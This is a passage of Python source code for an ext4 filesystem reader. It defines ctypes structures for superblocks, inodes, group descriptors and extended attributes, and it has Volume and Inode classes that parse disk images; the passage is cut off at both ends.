(\"bg_block_bitmap_csum_hi\", ctypes.c_ushort), # 0x0038\r\n (\"bg_inode_bitmap_csum_hi\", ctypes.c_ushort), # 0x003A\r\n (\"bg_reserved\", ctypes.c_uint), # 0x003C\r\n ]\r\n\r\n def _from_buffer_copy (raw, platform64 = True):\r\n struct = ext4_group_descriptor.from_buffer_copy(raw)\r\n\r\n if not platform64:\r\n struct.bg_block_bitmap_hi = 0\r\n struct.bg_inode_bitmap_hi = 0\r\n struct.bg_inode_table_hi = 0\r\n struct.bg_free_blocks_count_hi = 0\r\n struct.bg_free_inodes_count_hi = 0\r\n struct.bg_used_dirs_count_hi = 0\r\n struct.bg_itable_unused_hi = 0\r\n struct.bg_exclude_bitmap_hi = 0\r\n struct.bg_block_bitmap_csum_hi = 0\r\n struct.bg_inode_bitmap_csum_hi = 0\r\n struct.bg_reserved = 0\r\n\r\n return struct\r\n\r\n\r\n\r\nclass ext4_inode (ext4_struct):\r\n EXT2_GOOD_OLD_INODE_SIZE = 128 # Every field passing 128 bytes is \"additional data\", whose size is specified by i_extra_isize.\r\n\r\n # i_mode\r\n S_IXOTH = 0x1 # Others can execute\r\n S_IWOTH = 0x2 # Others can write\r\n S_IROTH = 0x4 # Others can read\r\n S_IXGRP = 0x8 # Group can execute\r\n S_IWGRP = 0x10 # Group can write\r\n S_IRGRP = 0x20 # Group can read\r\n S_IXUSR = 0x40 # Owner can execute\r\n S_IWUSR = 0x80 # Owner can write\r\n S_IRUSR = 0x100 # Owner can read\r\n S_ISVTX = 0x200 # Sticky bit (only owner can delete)\r\n S_ISGID = 0x400 # Set GID (execute with privileges of group owner of the file's group)\r\n S_ISUID = 0x800 # Set UID (execute with privileges of the file's owner)\r\n S_IFIFO = 0x1000 # FIFO device (named pipe)\r\n S_IFCHR = 0x2000 # Character device (raw, unbuffered, aligned, direct access to hardware storage)\r\n S_IFDIR = 0x4000 # Directory\r\n S_IFBLK = 0x6000 # Block device (buffered, arbitrary access to storage)\r\n S_IFREG = 0x8000 # Regular file\r\n S_IFLNK = 0xA000 # Symbolic link\r\n S_IFSOCK = 0xC000 # Socket\r\n\r\n # i_flags\r\n EXT4_INDEX_FL = 0x1000 # Uses hash trees\r\n EXT4_EXTENTS_FL = 0x80000 # Uses extents\r\n EXT4_EA_INODE_FL = 0x200000 # Inode stores large xattr\r\n EXT4_INLINE_DATA_FL = 0x10000000 # Has inline data\r\n\r\n _fields_ = [\r\n (\"i_mode\", ctypes.c_ushort), # 0x0000\r\n (\"i_uid_lo\", ctypes.c_ushort), # 0x0002, Originally named i_uid\r\n (\"i_size_lo\", ctypes.c_uint), # 0x0004\r\n (\"i_atime\", ctypes.c_uint), # 0x0008\r\n (\"i_ctime\", ctypes.c_uint), # 0x000C\r\n (\"i_mtime\", ctypes.c_uint), # 0x0010\r\n (\"i_dtime\", ctypes.c_uint), # 0x0014\r\n (\"i_gid_lo\", ctypes.c_ushort), # 0x0018, Originally named i_gid\r\n (\"i_links_count\", ctypes.c_ushort), # 0x001A\r\n (\"i_blocks_lo\", ctypes.c_uint), # 0x001C\r\n (\"i_flags\", ctypes.c_uint), # 0x0020\r\n (\"osd1\", ctypes.c_uint), # 0x0024\r\n (\"i_block\", ctypes.c_uint * 15), # 0x0028\r\n (\"i_generation\", ctypes.c_uint), # 0x0064\r\n (\"i_file_acl_lo\", ctypes.c_uint), # 0x0068\r\n (\"i_size_hi\", ctypes.c_uint), # 0x006C, Originally named i_size_high\r\n (\"i_obso_faddr\", ctypes.c_uint), # 0x0070\r\n (\"i_osd2_blocks_high\", ctypes.c_ushort), # 0x0074, Originally named i_osd2.linux2.l_i_blocks_high\r\n (\"i_file_acl_hi\", ctypes.c_ushort), # 0x0076, Originally named i_osd2.linux2.l_i_file_acl_high\r\n (\"i_uid_hi\", ctypes.c_ushort), # 0x0078, Originally named i_osd2.linux2.l_i_uid_high\r\n (\"i_gid_hi\", ctypes.c_ushort), # 0x007A, Originally named i_osd2.linux2.l_i_gid_high\r\n (\"i_osd2_checksum_lo\", ctypes.c_ushort), # 0x007C, Originally named i_osd2.linux2.l_i_checksum_lo\r\n (\"i_osd2_reserved\", ctypes.c_ushort), # 0x007E, Originally named i_osd2.linux2.l_i_reserved\r\n (\"i_extra_isize\", ctypes.c_ushort), # 0x0080\r\n (\"i_checksum_hi\", ctypes.c_ushort), # 0x0082\r\n (\"i_ctime_extra\", ctypes.c_uint), # 0x0084\r\n (\"i_mtime_extra\", ctypes.c_uint), # 0x0088\r\n (\"i_atime_extra\", ctypes.c_uint), # 0x008C\r\n (\"i_crtime\", ctypes.c_uint), # 0x0090\r\n (\"i_crtime_extra\", ctypes.c_uint), # 0x0094\r\n (\"i_version_hi\", ctypes.c_uint), # 0x0098\r\n (\"i_projid\", ctypes.c_uint), # 0x009C\r\n ]\r\n\r\n\r\n\r\nclass ext4_superblock (ext4_struct):\r\n EXT2_DESC_SIZE = 0x20 # Default value for s_desc_size, if INCOMPAT_64BIT is not set (NEEDS CONFIRMATION)\r\n\r\n # s_feature_incompat\r\n INCOMPAT_64BIT = 0x80 # Uses 64-bit features (e.g. *_hi structure fields in ext4_group_descriptor)\r\n INCOMPAT_FILETYPE = 0x2 # Directory entries record file type (instead of inode flags)\r\n _fields_ = [\r\n (\"s_inodes_count\", ctypes.c_uint), # 0x0000\r\n (\"s_blocks_count_lo\", ctypes.c_uint), # 0x0004\r\n (\"s_r_blocks_count_lo\", ctypes.c_uint), # 0x0008\r\n (\"s_free_blocks_count_lo\", ctypes.c_uint), # 0x000C\r\n (\"s_free_inodes_count\", ctypes.c_uint), # 0x0010\r\n (\"s_first_data_block\", ctypes.c_uint), # 0x0014\r\n (\"s_log_block_size\", ctypes.c_uint), # 0x0018\r\n (\"s_log_cluster_size\", ctypes.c_uint), # 0x001C\r\n (\"s_blocks_per_group\", ctypes.c_uint), # 0x0020\r\n (\"s_clusters_per_group\", ctypes.c_uint), # 0x0024\r\n (\"s_inodes_per_group\", ctypes.c_uint), # 0x0028\r\n (\"s_mtime\", ctypes.c_uint), # 0x002C\r\n (\"s_wtime\", ctypes.c_uint), # 0x0030\r\n (\"s_mnt_count\", ctypes.c_ushort), # 0x0034\r\n (\"s_max_mnt_count\", ctypes.c_ushort), # 0x0036\r\n (\"s_magic\", ctypes.c_ushort), # 0x0038, Must be 0xEF53\r\n (\"s_state\", ctypes.c_ushort), # 0x003A\r\n (\"s_errors\", ctypes.c_ushort), # 0x003C\r\n (\"s_minor_rev_level\", ctypes.c_ushort), # 0x003E\r\n (\"s_lastcheck\", ctypes.c_uint), # 0x0040\r\n (\"s_checkinterval\", ctypes.c_uint), # 0x0044\r\n (\"s_creator_os\", ctypes.c_uint), # 0x0048\r\n (\"s_rev_level\", ctypes.c_uint), # 0x004C\r\n (\"s_def_resuid\", ctypes.c_ushort), # 0x0050\r\n (\"s_def_resgid\", ctypes.c_ushort), # 0x0052\r\n (\"s_first_ino\", ctypes.c_uint), # 0x0054\r\n (\"s_inode_size\", ctypes.c_ushort), # 0x0058\r\n (\"s_block_group_nr\", ctypes.c_ushort), # 0x005A\r\n (\"s_feature_compat\", ctypes.c_uint), # 0x005C\r\n (\"s_feature_incompat\", ctypes.c_uint), # 0x0060\r\n (\"s_feature_ro_compat\", ctypes.c_uint), # 0x0064\r\n (\"s_uuid\", ctypes.c_ubyte * 16), # 0x0068\r\n (\"s_volume_name\", ctypes.c_char * 16), # 0x0078\r\n (\"s_last_mounted\", ctypes.c_char * 64), # 0x0088\r\n (\"s_algorithm_usage_bitmap\", ctypes.c_uint), # 0x00C8\r\n (\"s_prealloc_blocks\", ctypes.c_ubyte), # 0x00CC\r\n (\"s_prealloc_dir_blocks\", ctypes.c_ubyte), # 0x00CD\r\n (\"s_reserved_gdt_blocks\", ctypes.c_ushort), # 0x00CE\r\n (\"s_journal_uuid\", ctypes.c_ubyte * 16), # 0x00D0\r\n (\"s_journal_inum\", ctypes.c_uint), # 0x00E0\r\n (\"s_journal_dev\", ctypes.c_uint), # 0x00E4\r\n (\"s_last_orphan\", ctypes.c_uint), # 0x00E8\r\n (\"s_hash_seed\", ctypes.c_uint * 4), # 0x00EC\r\n (\"s_def_hash_version\", ctypes.c_ubyte), # 0x00FC\r\n (\"s_jnl_backup_type\", ctypes.c_ubyte), # 0x00FD\r\n (\"s_desc_size\", ctypes.c_ushort), # 0x00FE\r\n (\"s_default_mount_opts\", ctypes.c_uint), # 0x0100\r\n (\"s_first_meta_bg\", ctypes.c_uint), # 0x0104\r\n (\"s_mkfs_time\", ctypes.c_uint), # 0x0108\r\n (\"s_jnl_blocks\", ctypes.c_uint * 17), # 0x010C\r\n\r\n # 64-bit fields\r\n (\"s_blocks_count_hi\", ctypes.c_uint), # 0x0150\r\n (\"s_r_blocks_count_hi\", ctypes.c_uint), # 0x0154\r\n (\"s_free_blocks_count_hi\", ctypes.c_uint), # 0x0158\r\n (\"s_min_extra_isize\", ctypes.c_ushort), # 0x015C\r\n (\"s_want_extra_isize\", ctypes.c_ushort), # 0x015E\r\n (\"s_flags\", ctypes.c_uint), # 0x0160\r\n (\"s_raid_stride\", ctypes.c_ushort), # 0x0164\r\n (\"s_mmp_interval\", ctypes.c_ushort), # 0x0166\r\n (\"s_mmp_block\", ctypes.c_ulonglong), # 0x0168\r\n (\"s_raid_stripe_width\", ctypes.c_uint), # 0x0170\r\n (\"s_log_groups_per_flex\", ctypes.c_ubyte), # 0x0174\r\n (\"s_checksum_type\", ctypes.c_ubyte), # 0x0175\r\n (\"s_reserved_pad\", ctypes.c_ushort), # 0x0176\r\n (\"s_kbytes_written\", ctypes.c_ulonglong), # 0x0178\r\n (\"s_snapshot_inum\", ctypes.c_uint), # 0x0180\r\n (\"s_snapshot_id\", ctypes.c_uint), # 0x0184\r\n (\"s_snapshot_r_blocks_count\", ctypes.c_ulonglong), # 0x0188\r\n (\"s_snapshot_list\", ctypes.c_uint), # 0x0190\r\n (\"s_error_count\", ctypes.c_uint), # 0x0194\r\n (\"s_first_error_time\", ctypes.c_uint), # 0x0198\r\n (\"s_first_error_ino\", ctypes.c_uint), # 0x019C\r\n (\"s_first_error_block\", ctypes.c_ulonglong), # 0x01A0\r\n (\"s_first_error_func\", ctypes.c_ubyte * 32), # 0x01A8\r\n (\"s_first_error_line\", ctypes.c_uint), # 0x01C8\r\n (\"s_last_error_time\", ctypes.c_uint), # 0x01CC\r\n (\"s_last_error_ino\", ctypes.c_uint), # 0x01D0\r\n (\"s_last_error_line\", ctypes.c_uint), # 0x01D4\r\n (\"s_last_error_block\", ctypes.c_ulonglong), # 0x01D8\r\n (\"s_last_error_func\", ctypes.c_ubyte * 32), # 0x01E0\r\n (\"s_mount_opts\", ctypes.c_ubyte * 64), # 0x0200\r\n (\"s_usr_quota_inum\", ctypes.c_uint), # 0x0240\r\n (\"s_grp_quota_inum\", ctypes.c_uint), # 0x0244\r\n (\"s_overhead_blocks\", ctypes.c_uint), # 0x0248\r\n (\"s_backup_bgs\", ctypes.c_uint * 2), # 0x024C\r\n (\"s_encrypt_algos\", ctypes.c_ubyte * 4), # 0x0254\r\n (\"s_encrypt_pw_salt\", ctypes.c_ubyte * 16), # 0x0258\r\n (\"s_lpf_ino\", ctypes.c_uint), # 0x0268\r\n (\"s_prj_quota_inum\", ctypes.c_uint), # 0x026C\r\n (\"s_checksum_seed\", ctypes.c_uint), # 0x0270\r\n (\"s_reserved\", ctypes.c_uint * 98), # 0x0274\r\n (\"s_checksum\", ctypes.c_uint) # 0x03FC\r\n ]\r\n\r\n def _from_buffer_copy (raw, platform64 = True):\r\n struct = ext4_superblock.from_buffer_copy(raw)\r\n\r\n if not platform64:\r\n struct.s_blocks_count_hi = 0\r\n struct.s_r_blocks_count_hi = 0\r\n struct.s_free_blocks_count_hi = 0\r\n struct.s_min_extra_isize = 0\r\n struct.s_want_extra_isize = 0\r\n struct.s_flags = 0\r\n struct.s_raid_stride = 0\r\n struct.s_mmp_interval = 0\r\n struct.s_mmp_block = 0\r\n struct.s_raid_stripe_width = 0\r\n struct.s_log_groups_per_flex = 0\r\n struct.s_checksum_type = 0\r\n struct.s_reserved_pad = 0\r\n struct.s_kbytes_written = 0\r\n struct.s_snapshot_inum = 0\r\n struct.s_snapshot_id = 0\r\n struct.s_snapshot_r_blocks_count = 0\r\n struct.s_snapshot_list = 0\r\n struct.s_error_count = 0\r\n struct.s_first_error_time = 0\r\n struct.s_first_error_ino = 0\r\n struct.s_first_error_block = 0\r\n struct.s_first_error_func = 0\r\n struct.s_first_error_line = 0\r\n struct.s_last_error_time = 0\r\n struct.s_last_error_ino = 0\r\n struct.s_last_error_line = 0\r\n struct.s_last_error_block = 0\r\n struct.s_last_error_func = 0\r\n struct.s_mount_opts = 0\r\n struct.s_usr_quota_inum = 0\r\n struct.s_grp_quota_inum = 0\r\n struct.s_overhead_blocks = 0\r\n struct.s_backup_bgs = 0\r\n struct.s_encrypt_algos = 0\r\n struct.s_encrypt_pw_salt = 0\r\n struct.s_lpf_ino = 0\r\n struct.s_prj_quota_inum = 0\r\n struct.s_checksum_seed = 0\r\n struct.s_reserved = 0\r\n struct.s_checksum = 0\r\n\r\n if (struct.s_feature_incompat & ext4_superblock.INCOMPAT_64BIT) == 0:\r\n struct.s_desc_size = ext4_superblock.EXT2_DESC_SIZE\r\n\r\n return struct\r\n\r\n\r\n\r\nclass ext4_xattr_entry (ext4_struct):\r\n _fields_ = [\r\n (\"e_name_len\", ctypes.c_ubyte), # 0x00\r\n (\"e_name_index\", ctypes.c_ubyte), # 0x01\r\n (\"e_value_offs\", ctypes.c_ushort), # 0x02\r\n (\"e_value_inum\", ctypes.c_uint), # 0x04\r\n (\"e_value_size\", ctypes.c_uint), # 0x08\r\n (\"e_hash\", ctypes.c_uint) # 0x0C\r\n # Variable length field \"e_name\" missing at 0x10\r\n ]\r\n\r\n def _from_buffer_copy (raw, offset = 0, platform64 = True):\r\n struct = ext4_xattr_entry.from_buffer_copy(raw, offset)\r\n struct.e_name = raw[offset + 0x10 : offset + 0x10 + struct.e_name_len]\r\n return struct\r\n\r\n @property\r\n def _size (self): return 4 * ((ctypes.sizeof(type(self)) + self.e_name_len + 3) // 4) # 4-byte alignment\r\n\r\n\r\n\r\nclass ext4_xattr_header (ext4_struct):\r\n _fields_ = [\r\n (\"h_magic\", ctypes.c_uint), # 0x0, Must be 0xEA020000\r\n (\"h_refcount\", ctypes.c_uint), # 0x4\r\n (\"h_blocks\", ctypes.c_uint), # 0x8\r\n (\"h_hash\", ctypes.c_uint), # 0xC\r\n (\"h_checksum\", ctypes.c_uint), # 0x10\r\n (\"h_reserved\", ctypes.c_uint * 3), # 0x14\r\n ]\r\n\r\n\r\n\r\nclass ext4_xattr_ibody_header (ext4_struct):\r\n _fields_ = [\r\n (\"h_magic\", ctypes.c_uint) # 0x0, Must be 0xEA020000\r\n ]\r\n\r\n\r\n\r\nclass InodeType:\r\n UNKNOWN = 0x0 # Unknown file type\r\n FILE = 0x1 # Regular file\r\n DIRECTORY = 0x2 # Directory\r\n CHARACTER_DEVICE = 0x3 # Character device\r\n BLOCK_DEVICE = 0x4 # Block device\r\n FIFO = 0x5 # FIFO\r\n SOCKET = 0x6 # Socket\r\n SYMBOLIC_LINK = 0x7 # Symbolic link\r\n CHECKSUM = 0xDE # Checksum entry; not really a file type, but a type of directory entry\r\n\r\n\r\n\r\n########################################################################################################################\r\n#################################################### HIGH LEVEL ####################################################\r\n########################################################################################################################\r\n\r\nclass MappingEntry:\r\n \"\"\"\r\n Helper class: This class maps block_count file blocks indexed by file_block_idx to the associated disk blocks indexed\r\n by disk_block_idx.\r\n \"\"\"\r\n def __init__ (self, file_block_idx, disk_block_idx, block_count = 1):\r\n \"\"\"\r\n Initialize a MappingEntry instance with given file_block_idx, disk_block_idx and block_count.\r\n \"\"\"\r\n self.file_block_idx = file_block_idx\r\n self.disk_block_idx = disk_block_idx\r\n self.block_count = block_count\r\n\r\n def __iter__ (self):\r\n \"\"\"\r\n Can be used to convert an MappingEntry into a tuple (file_block_idx, disk_block_idx, block_count).\r\n \"\"\"\r\n yield self.file_block_idx\r\n yield self.disk_block_idx\r\n yield self.block_count\r\n\r\n def __repr__ (self):\r\n return f\"{type(self).__name__:s}({self.file_block_idx!r:s}, {self.disk_block_idx!r:s}, {self.block_count!r:s})\"\r\n\r\n def copy (self):\r\n return MappingEntry(self.file_block_idx, self.disk_block_idx, self.block_count)\r\n\r\n def create_mapping (*entries):\r\n \"\"\"\r\n Converts a list of 2-tuples (disk_block_idx, block_count) into a list of MappingEntry instances\r\n \"\"\"\r\n file_block_idx = 0\r\n result = [None] * len(entries)\r\n\r\n for i, entry in enumerate(entries):\r\n disk_block_idx, block_count = entry\r\n result[i] = MappingEntry(file_block_idx, disk_block_idx, block_count)\r\n file_block_idx += block_count\r\n\r\n return result\r\n\r\n def optimize (entries):\r\n \"\"\"\r\n Sorts and stiches together a list of MappingEntry instances\r\n \"\"\"\r\n entries.sort(key = lambda entry: entry.file_block_idx)\r\n\r\n idx = 0\r\n while idx < len(entries):\r\n while idx + 1 < len(entries) \\\r\n and entries[idx].file_block_idx + entries[idx].block_count == entries[idx + 1].file_block_idx \\\r\n and entries[idx].disk_block_idx + entries[idx].block_count == entries[idx + 1].disk_block_idx:\r\n tmp = entries.pop(idx + 1)\r\n entries[idx].block_count += tmp.block_count\r\n\r\n idx += 1\r\n\r\n# None of the following classes preserve the underlying stream's current seek.\r\n\r\nclass Volume:\r\n \"\"\"\r\n Provides functionality for reading ext4 volumes\r\n \"\"\"\r\n\r\n ROOT_INODE = 2\r\n\r\n def __init__ (self, stream, offset = 0, ignore_flags = False, ignore_magic = False):\r\n \"\"\"\r\n Initializes a new ext4 reader at a given offset in stream. If ignore_magic is True, no exception will be thrown,\r\n when a structure with wrong magic number is found. Analogously passing True to ignore_flags suppresses Exception\r\n caused by wrong flags.\r\n \"\"\"\r\n self.ignore_flags = ignore_flags\r\n self.ignore_magic = ignore_magic\r\n self.offset = offset\r\n self.platform64 = True # Initial value needed for Volume.read_struct\r\n self.stream = stream\r\n\r\n # Superblock\r\n self.superblock = self.read_struct(ext4_superblock, 0x400)\r\n self.platform64 = (self.superblock.s_feature_incompat & ext4_superblock.INCOMPAT_64BIT) != 0\r\n\r\n if not ignore_magic and self.superblock.s_magic != 0xEF53:\r\n raise MagicError(f\"Invalid magic value in superblock: 0x{self.superblock.s_magic:04X} (expected 0xEF53)\")\r\n\r\n # Group descriptors\r\n self.group_descriptors = [None] * (self.superblock.s_inodes_count // self.superblock.s_inodes_per_group)\r\n\r\n group_desc_table_offset = (0x400 // self.block_size + 1) * self.block_size # First block after superblock\r\n for group_desc_idx in range(len(self.group_descriptors)):\r\n group_desc_offset = group_desc_table_offset + group_desc_idx * self.superblock.s_desc_size\r\n self.group_descriptors[group_desc_idx] = self.read_struct(ext4_group_descriptor, group_desc_offset)\r\n\r\n def __repr__ (self):\r\n return f\"{type(self).__name__:s}(volume_name = {self.superblock.s_volume_name!r:s}, uuid = {self.uuid!r:s}, last_mounted = {self.superblock.s_last_mounted!r:s})\"\r\n\r\n @property\r\n def block_size (self):\r\n \"\"\"\r\n Returns the volume's block size in bytes.\r\n \"\"\"\r\n return 1 << (10 + self.superblock.s_log_block_size)\r\n\r\n def get_inode (self, inode_idx, file_type = InodeType.UNKNOWN):\r\n \"\"\"\r\n Returns an Inode instance representing the inode specified by its index inode_idx.\r\n \"\"\"\r\n group_idx, inode_table_entry_idx = self.get_inode_group(inode_idx)\r\n\r\n inode_table_offset = self.group_descriptors[group_idx].bg_inode_table * self.block_size\r\n inode_offset = inode_table_offset + inode_table_entry_idx * self.superblock.s_inode_size\r\n\r\n return Inode(self, inode_offset, inode_idx, file_type)\r\n\r\n def get_inode_group (self, inode_idx):\r\n \"\"\"\r\n Returns a tuple (group_idx, inode_table_entry_idx)\r\n \"\"\"\r\n group_idx = (inode_idx - 1) // self.superblock.s_inodes_per_group\r\n inode_table_entry_idx = (inode_idx - 1) % self.superblock.s_inodes_per_group\r\n return (group_idx, inode_table_entry_idx)\r\n\r\n def read (self, offset, byte_len):\r\n \"\"\"\r\n Returns byte_len bytes at offset within this volume.\r\n \"\"\"\r\n if self.offset + offset != self.stream.tell():\r\n self.stream.seek(self.offset + offset, io.SEEK_SET)\r\n\r\n return self.stream.read(byte_len)\r\n\r\n def read_struct (self, structure, offset, platform64 = None):\r\n \"\"\"\r\n Interprets the bytes at offset as structure and returns the interpreted instance\r\n \"\"\"\r\n raw = self.read(offset, ctypes.sizeof(structure))\r\n\r\n if hasattr(structure, \"_from_buffer_copy\"):\r\n return structure._from_buffer_copy(raw, platform64 = platform64 if platform64 != None else self.platform64)\r\n else:\r\n return structure.from_buffer_copy(raw)\r\n\r\n @property\r\n def root (self):\r\n \"\"\"\r\n Returns the volume's root inode\r\n \"\"\"\r\n return self.get_inode(Volume.ROOT_INODE, InodeType.DIRECTORY)\r\n\r\n @property\r\n def uuid (self):\r\n \"\"\"\r\n Returns the volume's UUID in the format XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX.\r\n \"\"\"\r\n uuid = self.superblock.s_uuid\r\n uuid = [uuid[:4], uuid[4 : 6], uuid[6 : 8], uuid[8 : 10], uuid[10:]]\r\n return \"-\".join(\"\".join(f\"{c:02X}\" for c in part) for part in uuid)\r\n\r\n\r\n\r\nclass Inode:\r\n \"\"\"\r\n Provides functionality for parsing inodes and accessing their raw data\r\n \"\"\"\r\n\r\n def __init__ (self, volume, offset, inode_idx, file_type = InodeType.UNKNOWN):\r\n \"\"\"\r\n Initializes a new inode parser at the specified offset within the specified volume. file_type is the file type\r\n of the inode as given by the directory entry referring to this inode.\r\n \"\"\"\r\n self.inode_idx = inode_idx\r\n self.offset = offset\r\n self.volume = volume\r\n\r\n self.file_type = file_type\r\n self.inode = volume.read_struct(ext4_inode, offset)\r\n\r\n def __len__ (self):\r\n \"\"\"\r\n Returns the length in bytes of the content referenced by this inode.\r\n \"\"\"\r\n return self.inode.i_size\r\n\r\n def __repr__ (self):\r\n if self.inode_idx != None:\r\n return f\"{type(self).__name__:s}(inode_idx = {self.inode_idx!r:s}, offset = 0x{self.offset:X}, volume_uuid = {self.volume.uuid!r:s})\"\r\n else:\r\n return f\"{type(self).__name__:s}(offset = 0x{self.offset:X}, volume_uuid = {self.volume.uuid!r:s})\"\r\n\r\n def _parse_xattrs (self, raw_data, offset, prefix_override = {}):\r\n \"\"\"\r\n Generator: Parses raw_data (bytes) as ext4_xattr_entry structures and their referenced xattr values and yields\r\n tuples (xattr_name, xattr_value) where xattr_name (str) is the attribute name including its prefix and\r\n xattr_value (bytes) is the raw attribute value.\r\n raw_data must start with the first ext4_xattr_entry structure and offset specifies the offset to the \"block start\"\r\n for ext4_xattr_entry.e_value_offs.\r\n prefix_overrides allows specifying attributes apart from the default prefixes. The default prefix dictionary is\r\n updated with prefix_overrides.\r\n \"\"\"\r\n prefixes = {\r\n 0: \"\",\r\n 1: \"user.\",\r\n 2: \"system.posix_acl_access\",\r\n 3: \"system.posix_acl_default\",\r\n 4: \"trusted.\",\r\n 6: \"security.\",\r\n 7: \"system.\",\r\n 8: \"system.richacl\"\r\n }\r\n prefixes.update(prefixes)\r\n\r\n # Iterator over ext4_xattr_entry structures\r\n i = 0\r\n while i < len(raw_data):\r\n xattr_entry = ext4_xattr_entry._from_buffer_copy(raw_data, i, platform64 = self.volume.platform64)\r\n\r\n if (xattr_entry.e_name_len | xattr_entry.e_name_index | xattr_entry.e_value_offs | xattr_entry.e_value_inum) == 0:\r\n # End of ext4_xattr_entry list\r\n break\r\n\r\n if not xattr_entry.e_name_index in prefixes:\r\n raise Ext4Error(f\"Unknown attribute prefix {xattr_entry.e_name_index:d} in inode {self.inode_idx:d}\")\r\n\r\n xattr_name = prefixes[xattr_entry.e_name_index] + xattr_entry.e_name.decode(\"iso-8859-2\")\r\n\r\n if xattr_entry.e_value_inum != 0:\r\n # external xattr\r\n xattr_inode = self.volume.get_inode(xattr.e_value_inum, InodeType.FILE)\r\n\r\n if not self.volume.ignore_flags and (xattr_inode.inode.i_flags & ext4_inode.EXT4_EA_INODE_FL) != 0:\r\n raise Ext4Error(f\"Inode {xattr_inode.inode_idx:d} associated with the extended attribute {xattr_name!r:s} of inode {self.inode_idx:d} is not marked as large extended attribute value.\")\r\n\r\n # TODO Use xattr_entry.e_value_size or xattr_inode.inode.i_size?\r\n xattr_value = xattr_inode.open_read().read()\r\n else:\r\n # internal xattr\r\n xattr_value = raw_data[xattr_entry.e_value_offs + offset : xattr_entry.e_value_offs + offset + xattr_entry.e_value_size]\r\n\r\n yield (xattr_name, xattr_value)\r\n\r\n i += xattr_entry._size\r\n\r\n\r\n\r\n def directory_entry_comparator (dir_a, dir_b):\r\n \"\"\"\r\n Sort-key for directory entries. It sortes entries in a way that directories come before anything else and within\r\n a group (directory / anything else) entries are sorted by their lower-case name. Entries whose lower-case names\r\n are equal are sorted by their actual names.\r\n \"\"\"\r\n file_name_a, _, file_type_a = dir_a\r\n file_name_b, _, file_type_b = dir_b\r\n\r\n if file_type_a == InodeType.DIRECTORY == file_type_b or file_type_a != InodeType.DIRECTORY != file_type_b:\r\n tmp = wcscmp(file_name_a.lower(), file_name_b.lower())\r\n return tmp if tmp != 0 else wcscmp(file_name_a, file_name_b)\r\n else:\r\n return -1 if file_type_a == InodeType.DIRECTORY else 1\r\n\r\n directory_entry_key = functools.cmp_to_key(directory_entry_comparator)\r\n\r\n def get_inode (self, *relative_path, decode_name = None):\r\n \"\"\"\r\n Returns the inode specified by the path relative_path (list of entry names) relative to this inode. \".\" and \"..\"\r\n usually are supported too, however in special cases (e.g. manually crafted volumes) they might not be supported\r\n due to them being real on-disk directory entries that might be missing or pointing somewhere else.\r\n decode_name is directly passed to open_dir.\r\n NOTE: Whitespaces will not be trimmed off the path's parts and \"\\\\0\" and \"\\\\0\\\\0\" as well as b\"\\\\0\" and b\"\\\\0\\\\0\" are\r\n seen as different names (unless decode_name actually trims the name).\r\n NOTE: Along the path file_type != FILETYPE_DIR will be ignored, however i_flags will not be ignored.\r\n \"\"\"\r\n if not self.is_dir:\r\n raise Ext4Error(f\"Inode {self.inode_idx:d} is not a directory.\")\r\n\r\n current_inode = self\r\n\r\n for i, part in enumerate(relative_path):\r\n if not self.volume.ignore_flags and not current_inode.is_dir:\r\n current_path = \"/\".join(relative_path[:i])\r\n raise Ext4Error(f\"{current_path!r:s} (Inode {inode_idx:d}) is not a directory.\")\r\n\r\n file_name, inode_idx, file_type = next(filter(lambda entry: entry[0] == part, current_inode.open_dir(decode_name)), (None, None, None))\r\n\r\n if inode_idx == None:\r\n current_path = \"/\".join(relative_path[:i])\r\n raise FileNotFoundError(f\"{part!r:s} not found in {current_path!r:s} (Inode {current_inode.inode_idx:d}).\")\r\n\r\n current_inode = current_inode.volume.get_inode(inode_idx, file_type)\r\n\r\n\r\n return current_inode\r\n\r\n @property\r\n def is_dir (self):\r\n \"\"\"\r\n Indicates whether the inode is marked as a directory.\r\n \"\"\"\r\n if (self.volume.superblock.s_feature_incompat & ext4_superblock.INCOMPAT_FILETYPE) == 0:\r\n return (self.inode.i_mode & ext4_inode.S_IFDIR) != 0\r\n else:\r\n return self.file_type == InodeType.DIRECTORY\r\n\r\n @property\r\n def is_file (self):\r\n \"\"\"\r\n Indicates whether the inode is marker as a regular file.\r\n \"\"\"\r\n if (self.volume.superblock.s_feature_incompat & ext4_dir_entry_2.INCOMPAT_FILETYPE) == 0:\r\n return (self.inode.i_mode & ext4_inode.S_IFREG) != 0\r\n else:\r\n return self.file_type == InodeType.FILE\r\n\r\n @property\r\n def is_in_use (self):\r\n \"\"\"\r\n Indicates whether the inode's associated bit in the inode bitmap is set.\r\n \"\"\"\r\n group_idx, bitmap_bit = self.volume.get_inode_group(self.inode_idx)\r\n\r\n inode_usage_bitmap_offset = self.volume.group_descriptors[group_idx].bg_inode_bitmap * self.volume.block_size\r\n inode_usage_byte = self.volume.read(inode_usage_bitmap_offset + bitmap_bit // 8, 1)[0]\r\n\r\n return ((inode_usage_byte >> (7 - bitmap_bit % 8)) & 1) != 0\r\n\r\n @property\r\n def mode_str (self):\r\n \"\"\"\r\n Returns the inode's permissions in form of a unix string (e.g. \"-rwxrw-rw\" or \"drwxr-xr--\").\r\n \"\"\"\r\n special_flag = lambda letter, execute, special: {\r\n (False, False): \"-\",\r\n (False, True): letter.upper(),\r\n (True, False): \"x\",\r\n (True, True): letter.lower()\r\n }[(execute, special)]\r\n\r\n try:\r\n if (self.volume.superblock.s_feature_incompat & ext4_superblock.INCOMPAT_FILETYPE) == 0:\r\n device_type = {\r\n ext4_inode.S_IFIFO : \"p\",\r\n ext4_inode.S_IFCHR : \"c\",\r\n ext4_inode.S_IFDIR : \"d\",\r\n ext4_inode.S_IFBLK : \"b\",\r\n ext4_inode.S_IFREG : \"-\",\r\n ext4_inode.S_IFLNK : \"l\",\r\n ext4_inode.S_IFSOCK : \"s\",\r\n }[self.inode.i_mode & 0xF000]\r\n else:\r\n device_type = {\r\n InodeType.FILE : \"-\",\r\n InodeType.DIRECTORY : \"d\",\r\n InodeType.CHARACTER_DEVICE : \"c\",\r\n InodeType.BLOCK_DEVICE : \"b\",\r\n InodeType.FIFO : \"p\",\r\n InodeType.SOCKET : \"s\",\r\n InodeType.SYMBOLIC_LINK : \"l\"\r\n }[self.file_type]\r\n except KeyError:\r\n device_type = \"?\"\r\n\r\n return \"\".join([\r\n device_type,\r\n\r\n \"r\" if (self.inode.i_mode & ext4_inode.S_IRUSR) != 0 else \"-\",\r\n \"w\" if (self.inode.i_mode & ext4_inode.S_IWUSR) != 0 else \"-\",\r\n special_flag(\"s\", 